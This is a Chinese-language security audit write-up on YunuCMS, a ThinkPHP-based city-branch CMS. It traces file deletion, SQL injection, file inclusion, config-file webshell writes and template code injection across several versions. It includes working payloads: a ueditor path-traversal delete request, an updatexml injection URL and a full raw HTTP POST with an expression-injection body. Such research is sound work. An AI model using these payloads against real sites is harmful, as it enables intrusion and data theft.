0x00 基本信息

基本信息

简介

城市分站管理,tp低版本的getshell不看

文件hash

必选项

  • 1.0.6: ad25486c672247f8afbabca646de3a32
  • 1.1.6: 68c5483d4bdbdf06cb1c1956d3dc229a
  • 2.0.4: 3b9ac883b97d510f03869f7239b332cb
  • 2.3.0: 33560b77a3c8812a20c4cc7f3bf6ad7a

文件存储

必选项

  • 1.0.6:https://pan.baidu.com/s/1Z2o7Mge2SBmZiJOCAqnmXg
  • 1.1.6:https://pan.baidu.com/s/14WEl9hd50l7KoX_eXHBziw
  • 2.0.4: https://pan.baidu.com/s/1VQtHM5oMrQBCWIdgZGiinA
  • 2.3.0: https://pan.baidu.com/s/1zDJRrk2QVh0xDSem2w-lrQ

cms指纹

可选项,后期必选

  • body="index/css/yunu.css"

源码相关

从哪下载,可选项

  • http://www.yunucms.com/

cms名字

必选项,实际名字或者化名

  • 云优城市分站管理系统

关联平台

类似第三方支付平台

0x01 v1.0.6版本整理

比较重要的一个漏洞

cnvd-2018-01952

可以看到的是这里是写配置,并且给了10.0分

1663315288169

代码执行(cnvd-2018-01952)

看了下所有关于文件写入的地方

只存在一处,那就是index/install/ste方法

1663317238392

很简单的代码,但是只是单纯的重装获取shell肯定不是10分

应该还存在一处前台任意文件删除

1663317809933

在一处七牛云的上传组件中

1663317673839

在后续的修复代码中先加入了

1
2
3
4
5
6
7
8
9
10
11
$file = str_replace("\\", "/", $file); 
$file_path = $root_path.$file;
$pathlist = explode("/", $file);

if ($pathlist[0] != 'uploads' && $pathlist[1] != 'uploads') {
return array(
'state' => 'ERROR',
'error' => 'Folders start from uploads'
);
exit();
}

这次修复不完善

后面再次加入了

1
2
3
4
5
6
7
if (in_array('..', $pathlist)) {
return array(
'state' => 'ERROR',
'error' => 'Folders start from uploads'
);
exit();
}

调用方式如下

1663318285412

1
2
3
/statics/ueditor/php/controller.php?action=remove

key=/uploads/../test.txt

0x02 v1.1.6版本整理

此时比较多的是注入问题和一处文件包含

SQL注入

order by注入

此时的SQL注入,主要是源自orderby参数,此时由于tp的版本问题,orderby参数在底层并未进行处理

比如

  • master/api_list
  • master/api_link
  • master/api_banner
  • v1/api_list
  • v1/api_link
  • v1/api_banner

1663324712127

复现

可以在日志中找到报错

1663324938074

拼接注入

同样的存在一处拼接注入

  • api/v1/api_block

1663324999857

复现

1
/index.php/api/v1/api_block?name=1') and updatexml(1,concat(0x7e,version()),1)%23

1663325167311

文件包含

其实在assign方法中存在三个完全可控的,分别是

  • index/tag/index
  • wap/search/index
  • wap/tag/index

但是由于wap模块下的不存在对应的模板,所以无法利用

原因具体如下

1663326820009

利用也很简单,可以利用日志

1663327116251

1663327167962

0x03 v2.0.4 整理

这个版本主要就是两个漏洞文件包含和代码注入

文件包含

  • index/index/buildHtml

1663328762766

利用也很渐渐但,可以通过日志,也可以通过上传

这里还是选择用日志的方法

代码注入

这里最下面关于tag标签的地方有提到

1663329607250

直接就代码执行了

1663329921436

0x04 最新版前台审计

最新版已经升级到了5.0.24,主要就是SQL注入了

SQL注入

依然是两个方向,拼接和表达式注入,以及insert中的key可控的问题

在最新版中,api模块下的appv2控制器使用如下方式作为接收参数的方式

1663330228717

这样就可以获取到任意表达式了

以api_banner为例,type参数

1663330963809

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /index.php?s=/api/appv2/api_banner HTTP/1.1
Host: 192.168.1.220:8316
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ECS[visit_times]=2; session_id_ip=192.168.1.220_2d6b0ecc13c9aa667be06789c7da7f6f; CKFinder_Path=Files%3A%2F%3A1; PHPSESSID=7eob2gpi21mqbaqqpfhh3ol491
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 76

{"type":["like",["1111","*/)and updatexml(1,concat(0x7e,user()),1)#"],"/*"]}

1663331204941

0x05 后台漏洞

后台漏洞基本也就两类,文件上传和文件写入(写配置),auth鉴权的代码执行

文件上传

上传的方法就是后台uploadfile方法,可以支持上传压缩文件

1663316507860

然后结合升级模块的升级

传入的file参数完全可控,可以实现目录穿越

1663316586427

文件写入

这个涉及到的方法比较多

所以在cnvd上被提交了很多这漏洞

  • admin/diyform/remind

  • admin/system/interapi

  • admin/system/listrows

  • admin/system/upload

  • admin/system/disablewords

  • admin/system/copy

  • admin/system/basic

  • admin/system/seo

  • admin/system/qiniu

  • admin/upgrade/tpluse

  • admin/url/index

  • admin/wap/index

  • index/install/ste

由于默认的过滤方法不存在转义

1663316861895

存在一处setConfigfile的定义

1663316903722

比如admin/upgrade/tpluse方法,就可以直接通过number参数获取webshell

1
2
3
4
5
6
7
8
9
10
11
12
public function tpluse($number = '')
{
if (!request()->isPost() || empty($number)) {
return json(['code' => 2, 'msg' => '参数传递错误!']);
}
$coffile = CONF_PATH.DS.'extra'.DS.'sys.php';
Config::load($coffile, '', 'sys');
$conflist = Config::get('','sys');
$param['theme_style'] = $number;
setConfigfile($coffile, array_merge($conflist, $param));
return json(['code' => 1]);
}

比如admin/system/basic方法,虽然参数被转义,但是由于是接受的所有post参数,所以key可控

可以通过键值写入webshell

1663317070056

代码执行

同样的类库

1663327590154

0x06 end

关于thinkphp的tag标签问题

之前一直没太去关注过标签里面的问题,主要的关注点

  • SQL注入
  • XSS问题
  • ssti模板解析(代码注入)

在这套cms里面定义了yunu的标签类

共定义了如下标签,以及所需要的参数

1663322296518

代码注入

比如在2.0.8版本的tagConfig方法中,在返回的解析后的代码中就存在完全可控的从uri中取的字符

1663323353905

最重要的是怎么调用呢类是yunu,方法是tagConfig,需要的name的值是pcurl

<yunu:config name='pcurl'>

在2.0.8版本没有找到

但是在1.1.16版本发现了调用

1663323757577

这个可以直接rce

SQL注入

在最新版的taglist标签中调用了getContentlist方法

1663324348000

跟进之后发现一处拼接的问题

目前在之前的某个版本中应该是存在SQL注入的问题的

1663324436743

这里已经被修复了